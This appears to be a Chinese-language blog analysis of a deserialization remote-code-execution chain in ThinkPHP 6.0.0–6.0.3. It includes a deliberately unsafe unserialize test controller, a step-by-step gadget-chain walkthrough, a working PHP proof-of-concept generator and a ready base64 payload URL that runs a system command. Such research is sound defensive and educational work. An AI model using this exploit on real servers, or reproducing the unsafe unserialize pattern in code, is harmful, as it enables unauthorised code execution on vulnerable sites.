0%

thinkphp-v6.0.0-6.0.3-反序列化漏洞

漏洞环境:

版本:

1
2
ThinkPHP V6.0.3
php v7.3.4

测试代码:

tp6.0\app\controller\Index.php中修改类Index的hello方法

1
2
3
4
5
public function hello($name = 'ThinkPHP6')
{
unserialize(base64_decode($name));
return $name;
}

通过http://localhost/tp6.0/public/index.php/index/hello/name/{base64字符串}访问

注意:需要配置tp6.0\config\app.php才能访问到hello方法

image-20240119103330215

漏洞分析:

反序列化利用链的起点在\tp6.0\vendor\topthink\think-orm\src\Model.php的__destruct()方法中

image-20240119103640435

因为$this->lazySave可控,我们进入Model::save。漏洞利用需要进入Model::updateData中

image-20240119103839169

Model::setAttrs因为$data是空数组所以无效

image-20240119104029538

Model::isEmpty因为$this->data可以控制,所以可控

image-20240119104056194

Model::trigger也是同理可以控制

image-20240119104201674

总结一下,我们要使得$this->data为空,$this->withEvent=false即可使得if ($this->isEmpty() || false === $this->trigger('BeforeWrite'))变成if (false || false === true),再使得$this->exists为true从而顺利进入Model::updateData。

在Model::updateData中的我们的目标是要进入Model::checkAllowFields

image-20240119104645988

第一个if判断if (false === $this->trigger('BeforeUpdate')) 和上面一样是我们可以控制绕过的

Model::checkData是一个未定义的方法,无需关注

image-20240119105113540

进入Model::getChangedData方法,发现可以通过控制$this->force使得返回结果可控,使得返回结果为空绕过

if (empty($data))的判断

image-20240119105232676

接下来进入判断语句if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])),显然这条判断我们可以控制

最终顺利调用Model::checkAllowFields,跳转到checkAllowFields我们的目标是进入Model::db

image-20240119105633073

无需我们多加什么就可以顺利进入Model::db,在db中我们可以通过点号触发__toString。

image-20240119105913867

我们选择\tp6.0\vendor\topthink\think-orm\src\model\concern\Conversion.php的Conversion::__toString作为上面Model::db触发的目标(因为Model复用了Conversion::__toString,Pivot类继承自抽象类Model,所以使得$this->name=new Pivot()即可触发Conversion::__toString)

我们查看Conversion::__toString

image-20240119110809881

进入Conversion::__toJson

image-20240119110849415

类似thinkphp5发反序列化链,我们继续进入Conversion::toArray,在toArray中我们的目标是进入第三个foreach的Conversion::getAttr

image-20240119110957347

这里也是无需过多设置,直接可以顺利进入Conversion::getAttr,在getAttr中要经历两个方法Conversion::getData和Conversion::getValue

image-20240119111307090

Conversion::getData的功能是返回$this->data[$name]的值,这里就不过多分析了。

重点分析Conversion::getValue,对于这个方法我们这里实际上调用的是$this->getValue($name,$this->data[$name], false);

进入Conversion::getValue,观察这个方法我们发现第498行的$value = $closure($value, $this->data);只要控制$closure为eval,$value为我们想要执行的指令,使$this->data为空即可成功rce。

这里的两个参数$value$this->data我们都是可以控制的,同时因为$name我们可以控制,所以通过485行的Attribute::getRealFieldName我们可以控制$fieldName$name从而使得$closure可控。

image-20240119113919012

这样最终的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
namespace think\model\concern
{
trait Attribute
{
private $data = ["key"=>"calc"];
private $withAttr = ["key"=>"system"];
}
}
namespace think
{
abstract class Model
{
use model\concern\Attribute;
private $lazySave = true;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $name;
public function __construct($obj=""){
$this->name=$obj;
}
}
}
namespace think\model
{
use think\Model;
class Pivot extends Model
{

}
$a=new Pivot();
$b=new Pivot($a);
echo base64_encode(serialize($b));
}

生成后访问类似url触发rce弹出计算器:

1
http://localhost/tp6.0/public/index.php/index/hello/name/TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1xNb2RlbABsYXp5U2F2ZSI7YjoxO3M6MTI6IgAqAHdpdGhFdmVudCI7YjowO3M6MTk6IgB0aGlua1xNb2RlbABleGlzdHMiO2I6MTtzOjE4OiIAdGhpbmtcTW9kZWwAZm9yY2UiO2I6MTtzOjc6IgAqAG5hbWUiO086MTc6InRoaW5rXG1vZGVsXFBpdm90Ijo3OntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6NDoiY2FsYyI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6NDoiY2FsYyI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319

image-20240119115956895

漏洞总结:

该反序列化漏洞的利用链汇总

1
2
3
4
5
6
7
8
9
10
11
起点:任意反序列化点
-->Model::__destruct
-->Model::save
-->Model::updateData
-->Model::checkAllowFields
-->Model::db(将类当作字符串拼接从而触发__toString)
-->Conversion::toJson
-->Conversion::toArray
-->Conversion::toArray
-->Conversion::getAttr
-->Attribute::getValue

注意:Pivot继承自抽象类Model,Model复用了Conversion和Attribute的方法